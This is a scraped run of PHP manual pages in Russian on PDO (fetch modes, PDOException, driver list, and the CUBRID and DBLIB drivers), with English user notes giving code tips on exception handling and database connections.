It took me some time, to realize, that you can not use this fetch-mode in $stm->setFetchMode(), when you want to retrieve objects from the database whereas the type is defined by the first column in the resultset.
You have to define this mode directly in the $stm->fetch() method.

To make it clearer:

$stm = $pdo->query("SELECT * FROM `foo`);
$stm->setFetchMode(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

$object = $stm->fetch();

Will not return the expected object, whereas

$stm = $pdo->query("SELECT * FROM `foo`");

$object = $stm->fetch(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

will give you the object of the class, defined in the first column of `foo`.
matt at kynx dot org 18-Feb-2006 03:13
To fetch the rows into an existing instance of a class, use PDO::FETCH_INTO and pass the object as the second parameter.

The class _must_ have the column names declared as public members, or the script will die. But overloading with __set() and __get() lets it handle any column your query throws at it.

Set the fetch mode right after you call prepare(). It appears you _must_ use execute() - fetch() won't work. A small example, adapted from ext/pdo/tests/pdo_025.phpt:

<?php
class Test
{
    protected $cols;

    function __set($name, $value) {
        $this->cols[$name] = $value;
    }

    function __get($name) {
        return $this->cols[$name];
    }
}

$obj = new Test();
$db = PDOTest::factory();
$stmt = $db->prepare("select * from test");
$stmt->setFetchMode(PDO::FETCH_INTO, $obj);
$stmt->execute();

foreach ($stmt as $a) {
    print_r($a);
}

print_r($obj); // contains the same values as the last iteration above
?>
Dariusz Kielar 12-Feb-2006 10:55
PDO::FETCH_CLASS may be used only with this method and it takes up to three parameters then:
 - int mode
 - string className
 - array constructorArgs (optional)

<?php
$stmt = $pdo -> query('your query');
$stmt -> setFetchMode(PDO::FETCH_CLASS, 'yourClass', array(0 => false));

while($row = $stmt -> fetch())
{
   // $row is an object of "yourClass" class
}
$stmt -> closeCursor();
?>

Note also that the constructor is called AFTER the data is set on the object.


Класс PDOException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Представляет ошибку, вызванную PDO. Вам не следует выбрасывать исключения PDOException из своего кода. Для дополнительной информации об исключениях в PHP смотрите раздел Исключения.

Обзор классов

class PDOException extends RuntimeException {
/* Свойства */
protected int|string $code;
public ?array $errorInfo = null;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

errorInfo

Соответствует PDO::errorInfo() или PDOStatement::errorInfo()

code

Код ошибки SQLSTATE. Чтобы его получить, используйте Exception::getCode().

User Contributed Notes

jesse dot chisholm at gmail dot com 12-Jul-2015 02:27
In response to the 15-May-2010 07:45 note from: samuelelliot+php dot net at gmail dot com

Since the most base class Exception takes three arguments, and the previous exception is not the first, ...
Since inherited classes to not implicitly call the parent constructor, ...

I recommend changing his constructor to this:

    public function __construct(string $message = "", int $code = 0, PDOException $e = null)
    {
        // in case they call: new MyException($somePDOException);
        // instead of following the interface.
        //
        if (is_subclass_of($message, PDOException))
        {
            $e = $message;
            $code = $e->getCode();
            $message = $e->getMessage();
        }

        // Let PDOException do its normal thing
        //
        parent::__construct($message, $code, $e);

        // Now to correct the code number.
        //
        $state = $this->getMessage();
        if(!strstr($state, 'SQLSTATE['))
            $state = $this->getCode();
        if(strstr($state, 'SQLSTATE['))
        {
            preg_match('/SQLSTATE\[(\w+)\] \[(\w+)\] (.*)/', $state, $matches);
            $this->code = ($matches[1] == 'HT000' ? $matches[2] : $matches[1]);
            $this->message = $matches[3];
        }
    }
wes at nospampls dot org 20-Jan-2015 04:28
the sqlstate is an hex integer (as string)
if you want to wrap pdoexception, use

throw new MyDBException($pdoe->getMessage(), hexdec($pdoe->getCode()), $pdoe);
radu.potop at wooptoo.com 27-Mar-2014 07:56
Since PDOException returns the error code as a string, you need a constructor like the one below if you wish to rethrow the PDOException as a custom exception.
This constructor does not call the parent::__construct which will enforce the int type on the error code, but set the message and code as properties directly on the custom exception object.

<?php

class CustomException extends PDOException {

    /**
     * Override constructor and set message and code properties.
     * Workaround PHP BUGS #51742, #39615
     */
    public function __construct($message=null, $code=null) {
        $this->message = $message;
        $this->code = $code;
    }

}
samuelelliot+php dot net at gmail dot com 15-May-2010 12:45
PDOException has two methods for retrieving information about an error. When interpreting the PDOException I run into a problem, the error code that is provided by getCode() is meaningless.  I have come up with a method to make both the error code and message more usable.

A bad username or password would normally provide the following:

CODE : 0
Message : "SQLSTATE[28000] [1045] Access denied for user 'user'@'example.com' (using password: YES)"

Using my extended exception class provides:

CODE: "28000"
Message: "Access denied for user 'user'@'example.com' (using password: YES)"

<?php
class pdoDbException extends PDOException {

    public function __construct(PDOException $e) {
        if(strstr($e->getMessage(), 'SQLSTATE[')) {
            preg_match('/SQLSTATE\[(\w+)\] \[(\w+)\] (.*)/', $e->getMessage(), $matches);
            $this->code = ($matches[1] == 'HT000' ? $matches[2] : $matches[1]);
            $this->message = $matches[3];
        }
    }
}
?>

To walk threw the method; first the beginning of the message is checked for the SQLSTATE text.  If the text is present, message is then parsed to pull the ANSI code, the SQL specific code, and the message.  The parsed values are stored in there respective variables.  The error code variable stores the ANSI code, unless ANSI is 'HT000' (unmapped error code) then SQL specific code is used.

Using this class is easy; when interacting with PDO use a try catch set of blocks, as follows:

<?php
try {
    $pdo = new PDO($dns, $username, $password, $options);
} catch (PDOException $e) {
    throw new pdoDbException($e);
}
?>

Now you can use the normal error methods to retrieve the real error code and message.

<?php
echo $err->getCode(); // Outputs: "28000"
echo $err->getMessage(); // Outputs: "Access denied for user 'user'@'example.com' (using password: YES)"
?>

If you decide to use this code, be aware that the error code is a string (as apposed to PHP standard errors which are integers) as some error codes are alphanumeric.
Typer85 at gmail dot com 22-Jan-2010 06:13
Here is something interesting regarding a PDOException and it involves some of the annoyances that can be associated with PHP's dynamic nature.

PDOException extends from RuntimeException, which in return extends from Exception. As such, it has access to the $code Protected Class Variable, which represents the Exception's code as an Integer (duh!) and can be accessed externally using the Exception::getCode Method.

Here is the interesting part. PDOException actually redefines $code as a String and not an Integer because for its case, $code actually contains the Exception's SQL State, which is composed of characters and numbers.

It is actually documented in the manual that $code is a String and not an Integer but it might not be immedietley clear because it is hidden by the fact that PDOException::getCode is documented to return an Integer and not a String!

Some developers like to catch a PDOException and rethrow it as a different Exception if they wrap their database calls in an external library. For example, consider the following code:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // PHP Fatal Error. Second Argument Has To Be An Integer, But PDOException::getCode Returns A
    // String.
    throw new MyDatabaseException( $Exception->getMessage( ) , $Exception->getCode( ) );
}

?>

Be careful in that you have to typecast the value returned by PDOException::getCode to an Integer BEFORE you pass it as an Argument to your Exception's Constructor. The following will work:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // Note The Typecast To An Integer!
    throw new MyDatabaseException( $Exception->getMessage( ) , (int)$Exception->getCode( ) );
}

?>

Hope this will save some developers some frustrating hours from an otherwise enjoyable job :)

Good Luck,


Драйверы PDO

Содержание

  • CUBRID (PDO)
  • MS SQL Server (PDO_DBLIB)
  • Firebird (PDO)
  • IBM (PDO)
  • Informix (PDO)
  • MySQL (PDO)
  • MS SQL Server (PDO)
  • Oracle (PDO)
  • ODBC и DB2 (PDO)
  • PostgreSQL (PDO)
  • SQLite (PDO)

Следующие драйверы в настоящее время реализованы в PDO:

Наименование драйвера | Поддерживаемые базы данных
PDO_CUBRID | Cubrid
PDO_DBLIB | FreeTDS / Microsoft SQL Server / Sybase
PDO_FIREBIRD | Firebird
PDO_IBM | IBM DB2
PDO_INFORMIX | IBM Informix Dynamic Server
PDO_MYSQL | MySQL 3.x/4.x/5.x/8.x
PDO_OCI | Oracle Call Interface
PDO_ODBC | ODBC v3 (IBM DB2, unixODBC и win32 ODBC)
PDO_PGSQL | PostgreSQL
PDO_SQLITE | SQLite 3 и SQLite 2
PDO_SQLSRV | Microsoft SQL Server / SQL Azure

User Contributed Notes

fleduc dot perso at gmail dot com 18-Sep-2017 01:33
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in [StackOverflow][1]

https://stackoverflow.com/a/46245990/1330248


Функции CUBRID (PDO_CUBRID)

Введение

PDO_CUBRID - драйвер, реализующий интерфейс PHP Data Objects (PDO) для доступа к базам данных CUBRID.

Замечание:

Текущая версия PDO_CUBRID не поддерживает постоянные соединения.

Установка

Для сборки модуля PDO_CUBRID, на том же хосте должен быть установлен СУБД CUBRID. PDO_CUBRID является модулем » PECL, так что для его установки следуйте инструкциям Установка модулей PECL. Для указания команде configure директории с установленной базой CUBRID, используйте следующий синтаксис:

   $ ./configure --with-pdo-cubrid=/path/to/CUBRID[,shared]
По умолчанию configure будет искать соответствующие библиотеки, руководствуясь значением переменной окружения CUBRID.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows. Для более подробной информации о ручной установке модуля под Linux и Windows, читайте build-guide.html, содержащийся в пакете PECL.

Отличительные особенности

Отличительные особенности PDO_CUBRID
Отличительные особенности | Описание
Перематываемые курсоры | PDO_CUBRID поддерживает перематываемые курсоры. Типом курсора по умолчанию является "forward only" (только вперёд), для его изменения можно использовать параметр driver_options в PDO::prepare().
Время ожидания | PDO_CUBRID поддерживает настройку времени ожидания выполнения SQL-запроса.; Для его настройки используйте метод PDO::setAttribute().
Режим автоподтверждения и транзакции PDO_CUBRID поддерживает как режим автоподтверждения, так и работу с транзакциями. По умолчанию используется режим автоподтверждения. Для изменения режима используйте метод PDO::setAttribute().

Если вы используете PDO::beginTransaction() для старта транзакции, то автоподтверждение будет автоматически запрещено и снова разрешено после PDO::commit() или PDO::rollBack(). Обратите внимание, что перед отключением автоподтверждения, все ожидающие запросы будут автоматически подтверждены.

Множественные SQL-запросы | PDO_CUBRID поддерживает множественные SQL-запросы. Множественные SQL-запросы разделяются точкой с запятой (;)
Информация о схеме | PDO_CUBRID реализует функцию PDO::cubrid_schema() для получения информации о схеме.
LOBs PDO_CUBRID поддерживает типы данных BLOB/CLOB. LOB в PDO представляется как поток, следовательно вы можете вставлять LOB путём связывания с потоком и получать LOB путём чтения из потока, возвращённого CUBRID PDO. К примеру:

Пример #1 Вставка LOB в CUBRID PDO

<?php
$fp = fopen('lob_test.png', 'rb');

$sql_stmt = "INSERT INTO lob_test(name, content) VALUES('lob_test.png', ?)";

$stmt = $dbh->prepare($sql_stmt);
$ret = $stmt->bindParam(1, $fp, PDO::PARAM_LOB);
$ret = $stmt->execute();
?>

Пример #2 Получение LOB в CUBRID PDO

<?php
$sql_stmt = "SELECT content FROM lob_test WHERE name='lob_test.png'";

$stmt = $dbh->prepare($sql_stmt);
$stmt->execute();
$result = $stmt->fetch(PDO::FETCH_NUM);

header("Content-Type: image/png");
fpassthru($result[0]);
?>
Метаинформация о столбцах Метод PDOStatement::getColumnMeta() в CUBRID PDO вернёт ассоциативный массив, содержащий следующие значения:
  • type
  • name
  • table
  • def
  • precision
  • scale
  • not_null
  • auto_increment
  • unique_key
  • multiple_key
  • primary_key
  • foreign_key
  • reverse_index
  • reverse_unique
Тип данных Коллекция PDO_CUBRID поддерживает типы данных SET/MULTISET/SEQUENCE. Если вы явно не указываете тип данных, то по умолчанию будет использоваться char. К примеру:

Пример #3 Вставка коллекции в CUBRID PDO с типом данных по умолчанию.

<?php
$conn_str ="cubrid:dbname=demodb;host=localhost;port=33000";
$cubrid_pdo = new PDO($conn_str, 'dba', '');

$cubrid_pdo->exec("DROP TABLE if exists test_tbl");
$cubrid_pdo->exec("CREATE TABLE test_tbl (col_1 SET(VARCHAR))");

$sql_stmt_insert = "INSERT INTO test_tbl VALUES (?);";
$stmt = $cubrid_pdo->prepare($sql_stmt_insert);
$data = array("abc","def","ghi");
$ret = $stmt->bindParam(1, $data, PDO::PARAM_NULL);
$ret = $stmt->execute();
var_Dump($ret);
?>

Пример #4 Указание типа данных при вставке коллекции в CUBRID PDO

<?php
$conn_str ="cubrid:dbname=demodb;host=localhost;port=33000";
$cubrid_pdo = new PDO($conn_str, 'dba', '');

$cubrid_pdo->exec("DROP TABLE if exists test_tbl");
$cubrid_pdo->exec("CREATE TABLE test_tbl (col_1 SET(int))");

$sql_stmt_insert = "INSERT INTO test_tbl VALUES (?);";
$stmt = $cubrid_pdo->prepare($sql_stmt_insert);
$data = array(1,2,3,4);
$ret = $stmt->bindParam(1, $data, 0,0,"int");
$ret = $stmt->execute();
var_Dump($ret);
?>

Типы данных CUBRID:(пятый параметр PDOStatement::bindParam):
  • CHAR
  • STRING
  • NCHAR
  • VARNCHAR
  • BIT
  • VARBIT
  • NUMERIC
  • NUMBER
  • INT
  • SHORT
  • BIGINT
  • MONETARY
  • FLOAT
  • DOUBLE
  • DATE
  • TIME
  • DATETIME
  • TIMESTAMP

Предопределённые константы

Перечисленные ниже константы определены данным драйвером и будут доступны только в случае, если PHP был собран с поддержкой этого модуля, или данный модуль был динамически загружен во время выполнения. Вдобавок, эти зависимые от драйвера константы должны быть использованы только совместно с этим драйвером. Использование атрибутов, специфичных для некоторого драйвера с другим драйвером может вызвать неожиданное поведение. Если ваш код выполняется с несколькими драйверами, то можно использовать функцию PDO::getAttribute() для получения атрибута PDO::ATTR_DRIVER_NAME для проверки драйвера.

Следующие константы можно использовать для установки атрибутов базы данных. Данные константы можно использовать с функциями PDO::getAttribute() и PDO::setAttribute().

Флаги атрибутов PDO::CUBRID
Константы | Описание
PDO::CUBRID_ATTR_ISOLATION_LEVEL | Уровень изоляции для соединения.
PDO::CUBRID_ATTR_LOCK_TIMEOUT | Время ожидания транзакции в секундах.
PDO::CUBRID_ATTR_MAX_STRING_LENGTH | Только для чтения. Максимальная длина строки для типов данных bit, varbit, char, varchar, nchar, nchar при использовании CUBRID PDO API.

Следующие константы можно использовать для установки уровня изоляции транзакции. Данные константы можно использовать с функциями PDO::getAttribute() и PDO::setAttribute().

Флаги уровней изоляции PDO::CUBRID
Константы | Описание
PDO::TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | Самый низкий уровень изоляции (1). Возможно грязное, неповторяющееся или фантомное чтение для кортежей и неповторяющееся чтение для таблицы.
PDO::TRAN_COMMIT_CLASS_COMMIT_INSTANCE | Относительно низкий уровень изоляции (2). Грязного чтения не будет, но неповторяющееся или фантомное возможно.
PDO::TRAN_REP_CLASS_UNCOMMIT_INSTANCE | Уровень изоляции CUBRID по умолчанию (3). Возможно грязное, неповторяющееся или фантомное чтение для кортежей, но для таблиц гарантировано повторяющееся чтение.
PDO::TRAN_REP_CLASS_COMMIT_INSTANCE | Относительно низкий уровень изоляции (4). Грязного чтения не будет, но неповторяющееся или фантомное возможно.
PDO::TRAN_REP_CLASS_REP_INSTANCE | Относительно высокий уровень изоляции (5). Грязного и неповторяющегося чтения не будет, но фантомное может возникнуть.
PDO::TRAN_SERIALIZABLE | Самый высокий уровень изоляции (6). Грязное, неповторяющееся и фантомное чтение невозможны.

Следующие константы используются при получении информации схемы. Могут использоваться с функцией PDO::cubrid_schema().

Флаги схемы PDO::CUBRID
Константы | Описание
PDO::CUBRID_SCH_TABLE | Получение имени и типа таблицы CUBRID.
PDO::CUBRID_SCH_VIEW | Получение имени и типа view в CUBRID.
PDO::CUBRID_SCH_QUERY_SPEC | Получение SQL-запроса, с помощью которого создано view.
PDO::CUBRID_SCH_ATTRIBUTE | Получение атрибутов столбца таблицы.
PDO::CUBRID_SCH_TABLE_ATTRIBUTE | Получение атрибутов таблицы.
PDO::CUBRID_SCH_METHOD | Получение метода экземпляра. Метод экземпляра - это метод вызванный экземпляром класса. Используется сильно чаще, чем метод класса, так как большинство операций производится в экземпляре.
PDO::CUBRID_SCH_TABLE_METHOD | ПОлучить метод класса. Метод класса - это метод вызванный объектом класса.Обычно используется для создания нового экземпляра класса или для его инициализации. Также используется для доступа и изменения атрибутов класса.
PDO::CUBRID_SCH_METHOD_FILE | Получить информацию о файле, где определён метод таблицы.
PDO::CUBRID_SCH_SUPER_TABLE | Получить имя и тип таблицы, чьи атрибуты наследуются указанной таблицей.
PDO::CUBRID_SCH_SUB_TABLE | Получить имя и тип таблицы, которая наследует атрибуты указанной.
PDO::CUBRID_SCH_CONSTRAINT | Получить ограничения таблицы.
PDO::CUBRID_SCH_TRIGGER | Получить триггеры таблицы.
PDO::CUBRID_SCH_TABLE_PRIVILEGE | Получить информацию о правах на таблицу.
PDO::CUBRID_SCH_COL_PRIVILEGE | Получить информацию о правах на столбец.
PDO::CUBRID_SCH_DIRECT_SUPER_TABLE | Получить прямую супер таблицу для заданной таблицы.
PDO::CUBRID_SCH_PRIMARY_KEY | Получить первичный ключ таблицы.
PDO::CUBRID_SCH_IMPORTED_KEYS | Получить импортированные ключи для таблицы.
PDO::CUBRID_SCH_EXPORTED_KEYS | Получить экспортированные ключи для таблицы.
PDO::CUBRID_SCH_CROSS_REFERENCE | Получить связи двух таблиц.

Содержание

  • PDO_CUBRID DSN — Соединение с базой данных CUBRID
  • PDO::cubrid_schema — Получить запрошенную информацию о схеме

User Contributed Notes

There are no user contributed notes for this page.


Соединение с базой данных CUBRID

  • « CUBRID (PDO)
  • PDO::cubrid_schema »
  • PHP Manual
  • CUBRID (PDO)
  • Соединение с базой данных CUBRID

PDO_CUBRID DSN

(PECL PDO_CUBRID >= 8.3.0.0001)

PDO_CUBRID DSN — Соединение с базой данных CUBRID

Описание

Имя источника данных (Data Source Name, DSN) PDO_CUBRID состоит из следующих элементов, разделённых точкой с запятой:

Префикс DSN

cubrid:.

host

Имя хоста, на котором развёрнута база данных.

port

Порт, на котором база данных слушает подключения.

dbname

Имя базы данных.

Примечания

Замечание:

При соединении с CUBRID вы должны указать имя пользователя и пароль.

Примеры

Пример #1 Пример PDO_CUBRID DSN

Следующий пример демонстрирует PDO_CUBRID DSN для соединения с базой CUBRID:

cubrid:host=localhost;port=33000;dbname=demodb

User Contributed Notes

There are no user contributed notes for this page.


Получить запрошенную информацию о схеме

  • « PDO_CUBRID DSN
  • MS SQL Server (PDO_DBLIB) »
  • PHP Manual
  • CUBRID (PDO)
  • Получить запрошенную информацию о схеме

PDO::cubrid_schema

(PECL PDO_CUBRID >= 8.3.0.0001)

PDO::cubrid_schema — Получить запрошенную информацию о схеме

Описание

public PDO::cubrid_schema(int $schema_type, string $table_name = ?, string $col_name = ?): array

Эта функция используется для получения информации о схеме базы данных. Если необходима информация о конкретной таблице, то будет необходимо указать её имя в параметре table_name. Если нужна информация о конкретном столбце таблицы, то его имя необходимо указать в параметре col_name (может использоваться только с PDO::CUBRID_SCH_COL_PRIVILEGE).

Результат будет возвращён в виде двумерного массива (столбец (ассоциативный массив) * строка (ассоциативный массив)). В следующей таблице приводятся типы схемы и структура столбцов результирующего массива, который будет возвращён в зависимости от используемого типа схемы.

Состав результата каждого типа
Схема | Номер столбца | Имя столбца | Значение
PDO::CUBRID_SCH_TABLE | 1 | NAME |
 | 2 | TYPE | 0:system table 1:view 2:table
PDO::CUBRID_SCH_VIEW | 1 | NAME |
 | 2 | TYPE | 1:view
PDO::CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
PDO::CUBRID_SCH_ATTRIBUTE / PDO::CUBRID_SCH_TABLE_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
PDO::CUBRID_SCH_METHOD / PDO::CUBRID_SCH_TABLE_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
PDO::CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
PDO::CUBRID_SCH_SUPER_TABLE / PDO::CUBRID_SCH_DIRECT_SUPER_TABLE / PDO::CUBRID_SCH_SUB_TABLE | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system table 1:view 2:table
PDO::CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
PDO::CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
PDO::CUBRID_SCH_TABLE_PRIVILEGE / PDO::CUBRID_SCH_COL_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
PDO::CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
PDO::CUBRID_SCH_IMPORTED_KEYS / PDO::CUBRID_SCH_EXPORTED_KEYS / PDO::CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

Список параметров

schema_type

Требуемый тип схемы.

table_name

Имя таблицы, схему которой вы хотите получить.

col_name

Имя столбца, схему которой вы хотите получить.

Возвращаемые значения

В случае успешного выполнения будет возвращён ассоциативный массив со схемой.

В случае неудачи будет возвращено false

Примеры

Пример #1 Пример использования PDO::cubrid_schema()

В этом примере демонстрируется получение информации о первичных и вторичных ключах таблицы "game".

<?php
$pk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_PRIMARY_KEY, "game");
print_r($pk_list);

$fk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_IMPORTED_KEYS, "game");
print_r($fk_list);
?>

Результат выполнения данного примера:

Result:
Array
(
    [0] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => athlete_code
            [KEY_SEQ] => 3
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [1] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => event_code
            [KEY_SEQ] => 2
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [2] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => host_year
            [KEY_SEQ] => 1
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

)
Array
(
    [0] => Array
        (
            [PKTABLE_NAME] => athlete
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => athlete_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_athlete_code
            [PK_NAME] => pk_athlete_code
        )

    [1] => Array
        (
            [PKTABLE_NAME] => event
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => event_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_event_code
            [PK_NAME] => pk_event_code
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Функции Microsoft SQL Server и Sybase (PDO_DBLIB)

Введение

PDO_DBLIB - драйвер, реализующий интерфейс PHP Data Objects (PDO) для доступа к базам данных Microsoft SQL Server и Sybase с использованием библиотеки FreeTDS.

Модуль больше недоступен для Windows.

В Windows вы должны использовать SqlSrv - альтернативный драйвер для MS SQL, доступный на сайте Microsoft: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx .

Если использовать SqlSrv не представляется возможным, то для соединения с Microsoft SQL Server и Sybase, используйте драйвер PDO_ODBC, так как нативный Windows DB-LIB является древним, потоконебезопасным и не поддерживается Microsoft.

Содержание

  • PDO_DBLIB DSN — Соединение с базами данных Microsoft SQL Server и Sybase

User Contributed Notes

Fabian G 22-Aug-2018 09:23
Instead of using Mssql or DBLib extension you should use the official extensions from Microsoft from here: https://github.com/Microsoft/msphpsql
fleduc dot perso at gmail dot com 18-Sep-2017 01:29
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in StackOverflow

https://stackoverflow.com/a/46245990/1330248
Vic L 23-Feb-2017 05:59
FYI: PDO dblib module (pdo_dblib.so) was installed when I installed php-mssql in CentOS 7.  I thought php-mssql would just include the soon to be deprecated mssql PHP functions but it also contains the PDO connector.  After installing this I'm able to connect to our MSSQL 2014 DB via PDO!
Johankasselman at live dot com 02-Oct-2015 01:32
Hi All, I'wrote a class to connect to MSSQL/Azure databases with Transaction support.

Hope this can help anyone!

<?php
/**
*    @author     Johan Kasselman <johankasselman@live.com>
*    @since         2015-09-28    V1
*
*/

class pdo_dblib_mssql{

    private $db;
       private $cTransID;
       private $childTrans = array();

    public function __construct($hostname, $port, $dbname, $username, $pwd){

        $this->hostname = $hostname;
        $this->port = $port;
        $this->dbname = $dbname;
        $this->username = $username;
        $this->pwd = $pwd;

        $this->connect();

    }

    public function beginTransaction(){

        $cAlphanum = "AaBbCc0Dd1EeF2fG3gH4hI5iJ6jK7kLlM8mN9nOoPpQqRrSsTtUuVvWwXxYyZz";
        $this->cTransID = "T".substr(str_shuffle($cAlphanum), 0, 7);

        array_unshift($this->childTrans, $this->cTransID);

        $stmt = $this->db->prepare("BEGIN TRAN [$this->cTransID];");
        return $stmt->execute();

    }

    public function rollBack(){

        while(count($this->childTrans) > 0){
            $cTmp = array_shift($this->childTrans);
            $stmt = $this->db->prepare("ROLLBACK TRAN [$cTmp];");
            $stmt->execute();
        }

        return $stmt;
    }

    public function commit(){

        while(count($this->childTrans) > 0){
            $cTmp = array_shift($this->childTrans);
            $stmt = $this->db->prepare("COMMIT TRAN [$cTmp];");
            $stmt->execute();
        }

        return  $stmt;
    }

    public function close(){
        $this->db = null;
    }

    public function connect(){

        try {
            $this->db = new PDO ("dblib:host=$this->hostname:$this->port;dbname=$this->dbname", "$this->username", "$this->pwd");

        } catch (PDOException $e) {
            $this->logsys .= "Failed to get DB handle: " . $e->getMessage() . "\n";
        }

    }

}

?>
ian at helastel dot com 17-Jul-2012 03:27
For people with issues inserting UTF-8 / Unicode data using DBLIB, you can't do this natively - but you can workaround the problem by converting the data first.

e.g. inserting into a nvarchar column with collation Latin1_General_CI_AS

...
$res = $db->prepare($sql);
$res->bindValue(':value', iconv('UTF-8', 'ISO8859-1', $value);
...
support at converters dot ru 25-Jan-2006 05:48
If You work with MSSQL Server 7.0/2000/... under Windows and use non latin Encoding then better To use PDO_MSSQL until PDO_ODBC bugs will be fixed (MSSQL ext far more stable and usabe for PHP versions <=5.1.2).
If your MSSQL connection use strings in OEM encoding (cp866 for russian charset)

1. Run Microsoft Server/Client Network Utility on work PC and UNCHECK "DBLibrary options"/"Automatic ANSI to OEM conversion"

2. Restart Web server if needed.
graham1 dot simpson at hsbcib dot com 08-Sep-2005 12:19
There is currently little sybase related PDO docs out there. The ones that I found often mention a spec for a dsn that is invalid. Here's how I am currently connecting to sybase ASE:

1. Compile up freetds http://www.freetds.org on top of open client;
2. Add the PDO and PD_DBLIB modules to php 5 as per the documentation; Note: I'm currently using the PDO-beta and PDO_DBLIB-beta;
3. Check mods installed ok using "pear list" and "php -m";

The documentation often says to use "sybase:" as your DSN, this doesn't work. Use "dblib:" instead. Here's an example:

<?php
  try {
    $hostname = "myhost";
    $port = 10060;
    $dbname = "tempdb";
    $username = "dbuser";
    $pw = "password";
    $dbh = new PDO ("dblib:host=$hostname:$port;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
    echo "Failed to get DB handle: " . $e->getMessage() . "\n";
    exit;
  }
  $stmt = $dbh->prepare("select name from master..sysdatabases where name = db_name()");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
  unset($dbh); unset($stmt);
?>

Hope this helps.


Соединение с базами данных Microsoft SQL Server и Sybase

  • « MS SQL Server (PDO_DBLIB)
  • Firebird (PDO) »
  • PHP Manual
  • MS SQL Server (PDO_DBLIB)
  • Соединение с базами данных Microsoft SQL Server и Sybase

PDO_DBLIB DSN

(PECL PDO_DBLIB >= 0.9.0)

PDO_DBLIB DSN — Соединение с базами данных Microsoft SQL Server и Sybase

Описание

Имя источника данных (Data Source Name, DSN) PDO_DBLIB состоит из следующих элементов:

Префикс DSN

Используйте префикс DSN sybase: в случае, если PDO_DBLIB собран с библиотеками Sybase ct-lib, mssql:, если PDO_DBLIB собран с библиотеками Microsoft SQL Server, или dblib:, если PDO_DBLIB собран с библиотеками FreeTDS.

host

